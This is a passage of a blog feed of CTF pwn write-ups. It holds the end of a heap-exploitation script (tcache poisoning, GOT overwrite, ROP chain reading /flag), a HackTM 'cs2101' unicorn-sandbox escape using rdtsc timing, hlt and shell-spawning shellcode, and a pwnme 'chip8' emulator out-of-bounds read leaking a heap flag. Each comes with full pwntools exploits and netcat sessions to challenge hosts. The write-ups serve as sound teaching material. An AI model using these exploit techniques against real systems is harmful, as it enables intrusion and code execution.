    # chunk3 =&amp;gt; 0x40 tcachebin, count = 2
    free(3)

    pwn.log.info(f&quot;Encrypted fp: {hex(encode_ptr(heap_leak, CHUNK3_OFFT, exe.got.printf))}&quot;)

    # tcache poisoning
    edit(2, b&quot;&quot;.join([   pwn.p64(0)*3,
                         pwn.p64(0x41), # valid size
                         pwn.p64(encode_ptr(heap_leak, CHUNK3_OFFT, exe.sym.books)) # forward ptr
                     ]))

    # dumb
    add(3, b&quot;A&quot;*0x20) # count = 1

    # arbitrary write to @books, this way books[1] is user controlled
    add(4, b&quot;&quot;.join([
        pwn.p64(0x1000), # sz
        pwn.p64(exe.sym.books), # target
        b&quot;P&quot;*0x10
    ])) # count = 0

    # we can write way more due to the previous call
    edit(1, pwn.flat([
            # 1==
            0xff, # sz
            exe.sym.stdout, # target
            # 2==
            0x8, # sz
            exe.got.free, # target
            # 3==
            0x8, # sz
            exe.sym.secret_msg, # target
            # 4==
            0xff, # sz
            exe.sym.books # target
        ] + [0] * 0x60, filler = b&quot;\x00&quot;))
    
    # free@got =&amp;gt; puts
    edit(2, b&quot;&quot;.join([
            pwn.p64(exe.sym.puts)
        ]))
    
    # can print = true
    enable_print(3)

    # libc leak
    libc.address = libc_leak_free(1)
    pwn.log.success(f&quot;libc: {hex(libc.address)}&quot;)

    # leak stack (environ)
    edit(4, pwn.flat([
            # 1==
            0xff, # sz
            libc.sym.environ # target
        ], filler = b&quot;\x00&quot;))

    environ = leak_environ(1)
    pwn.log.success(f&quot;environ: {hex(environ)}&quot;)

    stackframe_rewrite = environ - 0x150
    pwn.log.success(f&quot;stackframe_rewrite: {hex(stackframe_rewrite)}&quot;)

    rop = pwn.ROP(libc, base=stackframe_rewrite)

    # setup the write to the rewrite stackframe
    edit(4, pwn.flat([
            # 1==
            0xff, # sz
            stackframe_rewrite # target
        ], filler = b&quot;\x00&quot;))

    # ROPchain
    rop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY) # open
    rop.call(rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;]))
    rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100) # file descriptor bf ...
    rop.call(rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;]))

    rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100) # write
    rop.call(rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;]))
    rop.exit(0x1337)
    rop.raw(b&quot;/flag\x00&quot;)

    print(rop.dump())
    print(hex(len(rop.chain()) - 8))

    # write and trigger the ROPchain
    edit(1, rop.chain())
    
    io.interactive()

if __name__ == &quot;__main__&quot;:
    exp()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>[HackTM finals 2023 - pwn] cs2101</title><link>https://n4sm.github.io/posts/cs2101/</link><guid isPermaLink="true">https://n4sm.github.io/posts/cs2101/</guid><description>cs2101 is shellcoding / unicorn sandbox escape challenge I did during the HackTM finals</description><pubDate>Mon, 15 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;cs2101&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;cs2101&lt;/code&gt; is shellcoding / unicorn sandbox escape challenge I did during the &lt;a href=&quot;https://ctfx.hacktm.ro/home&quot;&gt;HackTM finals&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What we have&lt;/h2&gt;
&lt;p&gt;The challenge is splitted into three file: the server, the unicorn callback based checker and the final C program that runs the shellcode without any restrictions. Let&apos;s take a look at the server:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import os
import sys
import base64
import tempfile
from sc_filter import emulate

def main():
    encoded = input(&quot;Enter your base64 encoded shellcode:\n&quot;)
    encoded+= &apos;=======&apos;
    try:
        shellcode = base64.b64decode(encoded)
    except:
        print(&quot;Error decoding your base64&quot;)
        sys.exit(1)

    if not emulate(shellcode):
        print(&quot;I&apos;m not letting you hack me again!&quot;)
        return

    with tempfile.NamedTemporaryFile() as f:
        f.write(shellcode) 
        f.flush()

        name = f.name
        os.system(&quot;./emulate {}&quot;.format(name))
        


if __name__ == &apos;__main__&apos;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The server is asking for a shellcode encoded in base64, then it is checking some behaviours of the shellcode by running it into unicorn through the &lt;code&gt;emulate&lt;/code&gt; function and if it does not fail the shellcode is run by the &lt;code&gt;emulate&lt;/code&gt; C program. Now let&apos;s take a quick look at the unicorn checker:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from unicorn import *
from unicorn.x86_const import *


# memory address where emulation starts
ADDRESS = 0x1000000


def main():
    with open(&quot;sc.bin&quot;, &quot;rb&quot;) as f:
        code = f.read()

    if emulate(code):
        print(&quot;Done emulating. Passed!&quot;)
    else:
        print(&quot;Done emulating. Failed!&quot;)


def emulate(code):
    try:
        # Initialize emulator in X86-64bit mode
        mu = Uc(UC_ARCH_X86, UC_MODE_64)

        # map memory
        mu.mem_map(ADDRESS, 0x1000)

        # shellcode to test
        mu.mem_write(ADDRESS, code)

        # initialize machine registers
        mu.reg_write(UC_X86_REG_RAX, ADDRESS)
        mu.reg_write(UC_X86_REG_RFLAGS, 0x246)

        # initialize hooks
        allowed = [True]
        mu.hook_add(UC_HOOK_INSN, syscall_hook, allowed, 1, 0, UC_X86_INS_SYSCALL)
        mu.hook_add(UC_HOOK_CODE, code_hook, allowed)

        # emulate code in infinite time &amp;amp; unlimited instructions
        mu.emu_start(ADDRESS, ADDRESS + len(code))

        return allowed[0]

    except UcError as e:
        print(&quot;ERROR: %s&quot; % e)


def syscall_hook(mu, user_data):
    # Syscalls are dangerous!
    print(&quot;not allowed to use syscalls&quot;)
    user_data[0] = False


def code_hook(mu, address, size, user_data):
    inst = mu.mem_read(address, size)

    # CPUID (No easy wins here!)
    if inst == b&apos;\x0f\xa2&apos;:
        user_data[0] = False
        print(&quot;CPUID&quot;)

if __name__ == &apos;__main__&apos;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To succeed the check in the server our shellcode should match several conditions: first there should not be any syscalls / &lt;code&gt;cpuid&lt;/code&gt; instructions, then it should exit (and return allowed[0] === true) without triggering an exception not handled by unicorn (for example &lt;code&gt;SIGSEGV&lt;/code&gt; or an interrupt not handled like &lt;code&gt;int 0x80&lt;/code&gt;. And if it does so the shellcode is ran by this program:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/stat.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;

#define ADDRESS ((void*)0x1000000)

/* gcc emulate.c -o emulate -masm=intel */

int main(int argc, char **argv) {
    if (argc &amp;lt; 2) {
        fprintf(stderr, &quot;Usage: %s &amp;lt;filename&amp;gt;\n&quot;, argv[0]);
        exit(EXIT_FAILURE);
    }

    void *code = mmap(ADDRESS, 0x1000,
                      PROT_READ | PROT_WRITE | PROT_EXEC,
                      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    if (code == MAP_FAILED) {
        perror(&quot;mmap&quot;);
        exit(EXIT_FAILURE);
    }

    char *filename = argv[1];
    int fd = open(filename, O_RDONLY);
    if (fd == -1) {
        perror(&quot;open&quot;);
        exit(EXIT_FAILURE);
    }

    read(fd, code, 0x1000);
    close(fd);

    __asm__ volatile (
        &quot;lea rcx, [rsp-0x1800]\n\t&quot;
        &quot;fxrstor [rcx]\n\t&quot;
        &quot;xor rbx, rbx\n\t&quot;
        &quot;xor rcx, rcx\n\t&quot;
        &quot;xor rdx, rdx\n\t&quot;
        &quot;xor rdi, rdi\n\t&quot;
        &quot;xor rsi, rsi\n\t&quot;
        &quot;xor rbp, rbp\n\t&quot;
        &quot;xor rsp, rsp\n\t&quot;
        &quot;xor r8, r8\n\t&quot;
        &quot;xor r9, r9\n\t&quot;
        &quot;xor r10, r10\n\t&quot;
        &quot;xor r11, r11\n\t&quot;
        &quot;xor r12, r12\n\t&quot;
        &quot;xor r13, r13\n\t&quot;
        &quot;xor r14, r14\n\t&quot;
        &quot;xor r15, r15\n\t&quot;
        &quot;jmp rax\n\t&quot;
        :
        : &quot;a&quot; (code)
        :
    );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If we succeed to run the shellcode within this program we could easily execute syscalls and then drop a shell.&lt;/p&gt;
&lt;h2&gt;Bypass the sandbox&lt;/h2&gt;
&lt;p&gt;The first step is to make our shellcode aware of the environment inside which it is running. A classic trick to achieve this is to use the &lt;code&gt;rdtsc&lt;/code&gt; instruction (&lt;a href=&quot;https://www.felixcloutier.com/x86/rdtsc&quot;&gt;technical spec here&lt;/a&gt;). According to the documentation, it:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Reads the current value of the processor’s time-stamp counter (a 64-bit MSR) into the EDX:EAX registers. The EDX register is loaded with the high-order 32 bits of the MSR and the EAX register is loaded with the low-order 32 bits. (On processors that support the Intel 64 architecture, the high-order 32 bits of each of RAX and RDX are cleared.)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Given within a debugger / emulator (depends on what is hooked actually, in an emulator it could be easily handled) the time between the execution of two instructions is very long we could check that the shellcode is ran casually by the C program without being hooked at each instruction (as it is the case in the unicorn sandbox) just by checking that the amount of time between two instructions is way shorter than in the sandbox. This way we can trigger a different code path in the shellcode according to the environment inside which it is run.&lt;/p&gt;
&lt;p&gt;The second step is about being able to leave the sandbox without any syscalls with a handled exception that will not throw an error. By reading the unicorn source code for a while I saw a comment that talked about the &lt;code&gt;hlt&lt;/code&gt; instruction, then I tried to use it to shutdown the shellcode when it is run by the sandbox and it worked pretty good.&lt;/p&gt;
&lt;h2&gt;PROFIT&lt;/h2&gt;
&lt;p&gt;Putting it all together we manage to get the flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@(none) chal]# nc 34.141.16.87 10000
Enter your base64 encoded shellcode:
DzFJicBIweIgSQnQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQDzFJicFIweIgSQnRTSnBSYH5AAEAAH8JSMfAagAAAf/g9EjHxAAAAAFIgcQABQAAamhIuC9iaW4vLy9zUEiJ52hyaQEBgTQkAQEBATH2VmoIXkgB5lZIieYx0mo7WA8F
id
uid=1000(user) gid=1000(user) groups=1000(user)
ls
emulate
flag.txt
requirements.txt
run
sc_filter.py
server.py
cat flag.txt
HackTM{Why_can&apos;t_you_do_your_homework_normally...}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Final exploit&lt;/h2&gt;
&lt;p&gt;Final epxloit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python
# -*- coding: utf-8 -*-

# this exploit was generated via
# 1) pwntools
# 2) ctfmate

import os
import time
import pwn

BINARY = &quot;emulate&quot;
LIBC = &quot;/usr/lib/libc.so.6&quot;
LD = &quot;/lib64/ld-linux-x86-64.so.2&quot;

# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF(BINARY)
libc = pwn.ELF(LIBC)
ld = pwn.ELF(LD)
pwn.context.terminal = [&quot;tmux&quot;, &quot;splitw&quot;, &quot;-h&quot;]
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False
p64 = pwn.p64
u64 = pwn.u64
p32 = pwn.p32
u32 = pwn.u32
p16 = pwn.p16
u16 = pwn.u16
p8  = pwn.p8
u8  = pwn.u8

host = pwn.args.HOST or &apos;127.0.0.1&apos;
port = int(pwn.args.PORT or 1337)

FILENAME = &quot;shellcode&quot;

def local(argv=[&quot;shellcode&quot;], *a, **kw):
    &apos;&apos;&apos;Execute the target binary locally&apos;&apos;&apos;
    if pwn.args.GDB:
        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return pwn.process([exe.path] + argv, *a, **kw)


def remote(argv=[], *a, **kw):
    &apos;&apos;&apos;Connect to the process on the remote host&apos;&apos;&apos;
    io = pwn.connect(host, port)
    if pwn.args.GDB:
        pwn.gdb.attach(io, gdbscript=gdbscript)
    return io


def start(argv=[], *a, **kw):
    &apos;&apos;&apos;Start the exploit against the target.&apos;&apos;&apos;
    if pwn.args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)


gdbscript = &apos;&apos;&apos;
continue
&apos;&apos;&apos;.format(**locals())

import base64

def exp():
    f = open(&quot;shellcode&quot;, &quot;wb&quot;)

    shellcode = pwn.asm( 
        &quot;rdtsc\n&quot;
        &quot;mov r8, rax\n&quot;
        &quot;shl rdx, 32\n&quot;
        &quot;or r8, rdx\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;nop\n&quot;
        &quot;rdtsc\n&quot;
        &quot;mov r9, rax\n&quot;
        &quot;shl rdx, 32\n&quot;
        &quot;or r9, rdx\n&quot;
        
        &quot;sub r9, r8\n&quot;
        &quot;cmp r9, 0x100\n&quot;
        &quot;jg sandbox\n&quot;
        
        &quot;mov rax, 0x100006a\n&quot;
        &quot;jmp rax\n&quot;

        &quot;sandbox:\n&quot;
        &quot;hlt\n&quot;
    )

    map_stack = pwn.asm(&quot;mov rsp, 0x1000000\n&quot;)
    map_stack += pwn.asm(&quot;add rsp, 0x500\n&quot;)
    
    shell = pwn.asm(pwn.shellcraft.amd64.linux.sh())

    print(shellcode + map_stack + shell)
    print(base64.b64encode(shellcode + map_stack + shell))
    f.write(shellcode + map_stack + shell)


if __name__ == &quot;__main__&quot;:
    exp()&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>[pwnme 2023 - pwn] chip8</title><link>https://n4sm.github.io/posts/chip8/</link><guid isPermaLink="true">https://n4sm.github.io/posts/chip8/</guid><description>chip8 is a emulator-pwn challenge I did during the pwnmeCTF</description><pubDate>Mon, 08 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;chip8&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Solves: 24  Easy&lt;/p&gt;
&lt;p&gt;I just found a repo of a chip-8 emulator, it may be vulnerable but I didn&apos;t had enough time to report the vulnerability with a working PoC.
You must find a way to get the flag in memory on the remote service !&lt;/p&gt;
&lt;p&gt;Author: Express#8049&lt;/p&gt;
&lt;p&gt;Remote service at : nc 51.254.39.184 1337&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;chip8 is a emulator-pwn challenge I did during the &lt;a href=&quot;https://pwnme.fr/&quot;&gt;pwnme CTF&lt;/a&gt; . You can find the related files &lt;a href=&quot;https://github.com/ret2school/ctf/tree/master/2023/pwnme/pwn/chip8&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Code review&lt;/h2&gt;
&lt;p&gt;This challenge is based on an emulator called &lt;a href=&quot;https://github.com/LakshyAAAgrawal/chip8emu&quot;&gt;c8emu&lt;/a&gt; that is updated with these lines of code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;diff --git a/include/Machine.hpp b/include/Machine.hpp
index af3d0d7..4288e15 100644
--- a/include/Machine.hpp
+++ b/include/Machine.hpp
@@ -17,6 +17,7 @@ class Machine{
 private:
 	std::vector&amp;lt;uint8_t&amp;gt; registers; // V0-VF
 	std::vector&amp;lt;uint8_t&amp;gt; memory; // Memory
+	std::vector&amp;lt;uint8_t&amp;gt; flag;
 	uint16_t I; // Index register
 	std::vector&amp;lt;uint16_t&amp;gt; stack; // Stack
 	uint8_t SP; // Stack Pointer
diff --git a/src/Machine.cpp b/src/Machine.cpp
index d34680e..2321296 100644
--- a/src/Machine.cpp
+++ b/src/Machine.cpp
@@ -6,10 +6,13 @@
 #include &amp;lt;chrono&amp;gt;
 #include &amp;lt;thread&amp;gt;
 
+std::string FLAG = &quot;PWNME{THIS_IS_A_SHAREHOLDER_AAAAAAAAAAAAAAAAAA}&quot;;
+
 Machine::Machine(){
 	registers = std::vector&amp;lt;uint8_t&amp;gt;(16, 0);
 	stack = std::vector&amp;lt;uint16_t&amp;gt;(32, 0);
 	memory = std::vector&amp;lt;uint8_t&amp;gt;(4096, 0);
+	flag = std::vector&amp;lt;uint8_t&amp;gt;(128, 0);
 	PC = 0x200;
 	last_tick = std::chrono::steady_clock::now();
 	I = 0;
@@ -134,8 +137,8 @@ void Machine::execute(uint16_t&amp;amp; opcode){

 	if(it != first_match.end()) (it-&amp;gt;second)(opcode);
 	else {
-		std::cout &amp;lt;&amp;lt; &quot;No match found for opcode &quot; &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt; (int) opcode &amp;lt;&amp;lt; &quot;\n&quot;;
-		std::cout &amp;lt;&amp;lt; &quot;This could be because this ROM uses SCHIP or another extension which is not yet supported.\n&quot;;
+		//std::cout &amp;lt;&amp;lt; &quot;No match found for opcode &quot; &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt; (int) opcode &amp;lt;&amp;lt; &quot;\n&quot;;
+		//std::cout &amp;lt;&amp;lt; &quot;This could be because this ROM uses SCHIP or another extension which is not yet supported.\n&quot;;
 		std::exit(0);
 	}
 }
@@ -179,12 +182,13 @@ void Machine::print_machine_state(){
 }
 
 void Machine::runLoop(){
+	std::copy(FLAG.begin(), FLAG.end(), flag.begin());
 	while(true){
 		// Update display
 		if(ge.is_dirty()){ // Check if the screen has to be updated
 			ge.update_display();
-			print_machine_state();
-			std::cout &amp;lt;&amp;lt; &quot;Opcode &quot; &amp;lt;&amp;lt; ((uint16_t) (memory[PC]&amp;lt;&amp;lt;8) | (memory[PC+1])) &amp;lt;&amp;lt; &quot;\n&quot;;
+			//print_machine_state();
+			//std::cout &amp;lt;&amp;lt; &quot;Opcode &quot; &amp;lt;&amp;lt; ((uint16_t) (memory[PC]&amp;lt;&amp;lt;8) | (memory[PC+1])) &amp;lt;&amp;lt; &quot;\n&quot;;
 		}
 
 		// Update the keyboard buffer to check for all pressed keys
diff --git a/src/c8emu.cpp b/src/c8emu.cpp
index e65123b..590228e 100644
--- a/src/c8emu.cpp
+++ b/src/c8emu.cpp
@@ -17,6 +17,10 @@ void loadFile(const std::string&amp;amp; filename, std::vector&amp;lt;uint8_t&amp;gt;&amp;amp; prog){
 int main(int argc, char ** argv){
 	Machine machine;
 
+	setbuf(stdin, NULL);
+	setbuf(stdout, NULL);
+	setbuf(stderr, NULL);
+
 	{ // Create block to deallocate the possibly large variable prog
 		// Load Instructions
 		std::vector&amp;lt;uint8_t&amp;gt; prog;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see above, the prints that can leak informations about the program execution are removed, and an array named &lt;code&gt;flag&lt;/code&gt; (on the heap) is inserted right after the memory mapping of length &lt;code&gt;0x1000&lt;/code&gt; (on the heap) of the chip8 program. This way the goal would be to be able to leak the content of &lt;code&gt;flag&lt;/code&gt; onto the screen.&lt;/p&gt;
&lt;h2&gt;few words on chip8 architecture&lt;/h2&gt;
&lt;p&gt;To get a quick overview of the chip8 arch, I advice you to read &lt;a href=&quot;http://devernay.free.fr/hacks/chip8/C8TECH10.HTM#0.0&quot;&gt;this&lt;/a&gt;. Here are the most important informations from the technical reference:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Chip-8 is a simple, interpreted, programming language which was first used on some do-it-yourself computer systems in the late 1970s and early 1980s. The COSMAC VIP, DREAM 6800, and ETI 660 computers are a few examples. These computers typically were designed to use a television as a display, had between 1 and 4K of RAM, and used a 16-key hexadecimal keypad for input. The interpreter took up only 512 bytes of memory, and programs, which were entered into the computer in hexadecimal, were even smaller.&lt;/li&gt;
&lt;li&gt;Chip-8 has 16 general purpose 8-bit registers, usually referred to as Vx, where x is a hexadecimal digit (0 through F). There is also a 16-bit register called I. This register is generally used to store memory addresses, so only the lowest (rightmost) 12 bits are usually used.&lt;/li&gt;
&lt;li&gt;Here are the instruction we need:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Annn&lt;/code&gt; - &lt;code&gt;LD I, addr&lt;/code&gt;. Set I = nnn. The value of register I is set to nnn.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;6xkk&lt;/code&gt; - &lt;code&gt;LD Vx, byte&lt;/code&gt;, Set Vx = kk. The interpreter puts the value kk into register Vx.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Fx1E&lt;/code&gt; - &lt;code&gt;ADD I, Vx&lt;/code&gt;. Set I = I + Vx. The values of I and Vx are added, and the results are stored in I.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Dxyn&lt;/code&gt; - &lt;code&gt;DRW Vx, Vy, nibble&lt;/code&gt;. Display n-byte sprite starting at memory location I at (Vx, Vy), set VF = collision. The interpreter reads n bytes from memory, starting at the address stored in I. These bytes are then displayed as sprites on screen at coordinates (Vx, Vy). Sprites are XORed onto the existing screen. If this causes any pixels to be erased, VF is set to 1, otherwise it is set to 0. If the sprite is positioned so part of it is outside the coordinates of the display, it wraps around to the opposite side of the screen. See instruction 8xy3 for more information on XOR, and section 2.4, Display, for more information on the Chip-8 screen and sprites.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;n or nibble - A 4-bit value, the lowest 4 bits of the instruction
x - A 4-bit value, the lower 4 bits of the high byte of the instruction
y - A 4-bit value, the upper 4 bits of the low byte of the instruction
kk or byte - An 8-bit value, the lowest 8 bits of the instruction 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The bug&lt;/h2&gt;
&lt;p&gt;The bug lies into the implementation around the instruction that use the &lt;code&gt;I&lt;/code&gt; register. Indeed, as you read above, the &lt;code&gt;I&lt;/code&gt; register is 16 bits wide. Thus we could we print onto the screen with the help of the &lt;code&gt;DRW&lt;/code&gt; instruction data stored from &lt;code&gt;memory[I=0]&lt;/code&gt; up to &lt;code&gt;memory[I=2^16 - 1]&lt;/code&gt;. Let&apos;s see how does it  handle the &lt;code&gt;DRW&lt;/code&gt; instruction:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://github.com/LakshyAAAgrawal/chip8emu/blob/master/src/Machine.cpp#L123

{0xd000, [this](uint16_t&amp;amp; op){ // TODO - Dxyn - DRW Vx, Vy, nibble
    registers[0xf] = ge.draw_sprite(memory.begin() + I, memory.begin() + I + (op &amp;amp; 0x000f), registers[(op &amp;amp; 0x0f00)&amp;gt;&amp;gt;8] % 0x40, registers[(op &amp;amp; 0x00f0)&amp;gt;&amp;gt;4] % 0x20);
}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first and the second argument are the begin and the end of the location where data to print are stored. &lt;code&gt;(op &amp;amp; 0x000f)&lt;/code&gt; represents the amount of bytes we&apos;d like to print. As you can see no checks are performed, this way we able to get a read out of bound from from &lt;code&gt;memory[I=0]&lt;/code&gt; up to &lt;code&gt;memory[I=2^16 - 1]&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;Now we now how we could exfiltrate the flag we can write this tiny chip8 program:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;code = [
    0xAFFF, # Annn - LD I, addr, I  = 0xfff
    0x6111, # 6xkk - LD Vx, byte, R1 = 0x11
    0xF11E, # ADD I, R1, I =&amp;gt; 0x1010
    0xDBCF  # Write on screen (xored with current pixels) 15 bytes from I=0x1010
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We read the flag from &lt;code&gt;memory[0x1010]&lt;/code&gt; given &lt;code&gt;memory&lt;/code&gt; is adjacent to the &lt;code&gt;flag&lt;/code&gt; (&lt;code&gt;memory[0x1000]&lt;/code&gt; == begin of the chunk &lt;code&gt;flag&lt;/code&gt; within the heap), and we add &lt;code&gt;0x10&lt;/code&gt; to read the chunk content which is right after the header (prev_sz and chunk_sz). Once we launch it we get:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 exploit.py REMOTE HOST=51.254.39.184 PORT=1337
[*] &apos;/media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ret2school/ctf/2023/pwnme/pwn/chip8/wrapper&apos;
    Arch:     amd64-64-little
╔════════════════════════════════════════════════════════════════╗
║ █ █ ▄▄▄                                                        ║
║ █  ██▀▄                                                        ║
║ █▄▄▄▀▄█                                                        ║
║ █  ▄ ▀▀                                                        ║
║ ▄██   ▀                                                        ║
║  █▄█▀ ▀                                                        ║
║ ▀▄█▀▀██                                                        ║
║ ▀▀ ▀▀ ▀                                                        ║
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If we decode chars by hand (each byte is a line for which white is 1 and black zero), we get:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;╔════════════════════════════════════════════════════════════════╗
║ █ █ ▄▄▄                                                        ║PW
║ █  ██▀▄                                                        ║NM
║ █▄▄▄▀▄█                                                        ║E{
║ █  ▄ ▀▀                                                        ║CH
║ ▄██   ▀                                                        ║18
║  █▄█▀ ▀                                                        ║-8
║ ▀▄█▀▀██                                                        ║_3
║ ▀▀ ▀▀ ▀                                                         m
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If we repeat this step 4 times (by incrementing the value of V1), we finally managed to get the flag: &lt;code&gt;PWNME{CH1p-8_3mu14t0r_1s_h4Ck4bl3_1n_2023_y34h}&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Full exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python
# -*- coding: utf-8 -*-

# this exploit was generated via
# 1) pwntools
# 2) ctfmate

import os
import time
import pwn

BINARY = &quot;wrapper&quot;
LIBC = &quot;/usr/lib/x86_64-linux-gnu/libc.so.6&quot;
LD = &quot;/lib64/ld-linux-x86-64.so.2&quot;

# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF(BINARY)
libc = pwn.ELF(LIBC)
ld = pwn.ELF(LD)
pwn.context.terminal = [&quot;tmux&quot;, &quot;splitw&quot;, &quot;-h&quot;]
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False
p64 = pwn.p64
u64 = pwn.u64
p32 = pwn.p32
u32 = pwn.u32
p16 = pwn.p16
u16 = pwn.u16
p8  = pwn.p8
u8  = pwn.u8

host = pwn.args.HOST or &apos;127.0.0.1&apos;
port = int(pwn.args.PORT or 1337)


def local(argv=[], *a, **kw):
    &apos;&apos;&apos;Execute the target binary locally&apos;&apos;&apos;
    if pwn.args.GDB:
        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return pwn.process([exe.path] + argv, *a, **kw)


def remote(argv=[], *a, **kw):
    &apos;&apos;&apos;Connect to the process on the remote host&apos;&apos;&apos;
    io = pwn.connect(host, port)
    if pwn.args.GDB:
        pwn.gdb.attach(io, gdbscript=gdbscript)
    return io


def start(argv=[], *a, **kw):
    &apos;&apos;&apos;Start the exploit against the target.&apos;&apos;&apos;
    if pwn.args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)


gdbscript = &apos;&apos;&apos;
source ~/Downloads/pwndbg/gdbinit.py
&apos;&apos;&apos;.format(**locals())

pwn.context.endianness = &apos;big&apos;

STEP=0

def exp():
    io = start()

    # every registers are zero-ed at the begin of the program
    code = [
        0xAFFF, # Annn - LD I, addr, I  = 0xfff
		0x6111 + 0xf*STEP, # 6xkk - LD Vx, byte, R1 = 0x1F
        0xF11E, # ADD I, R1, I =&amp;gt; 0x101F
		0xDBCF  # Write on screen (xored with current pixels) 15 bytes from I
    ]

    code_to_send = [pwn.p16(k) for k in code]

    io.sendafter(b&quot;Enter ROM code: &quot;, b&quot;&quot;.join(code_to_send))
    io.sendline(b&quot;\n&quot;)
    io.sendline(b&quot;\n&quot;)

    io.sendline(b&quot;\n&quot;)

    io.interactive()

if __name__ == &quot;__main__&quot;:
    exp()

&quot;&quot;&quot;
PWNME{CH1p-8_3mu14t0r_1s_h4Ck4bl3_1n_2023_y34h}
╔════════════════════════════════════════════════════════════════╗
║ █ █ ▄▄▄                                                        ║PW
║ █  ██▀▄                                                        ║NM
║ █▄▄▄▀▄█                                                        ║E{
║ █  ▄ ▀▀                                                        ║CH
║ ▄██   ▀                                                        ║18
║  █▄█▀ ▀                                                        ║-8
║ ▀▄█▀▀██                                                        ║_3
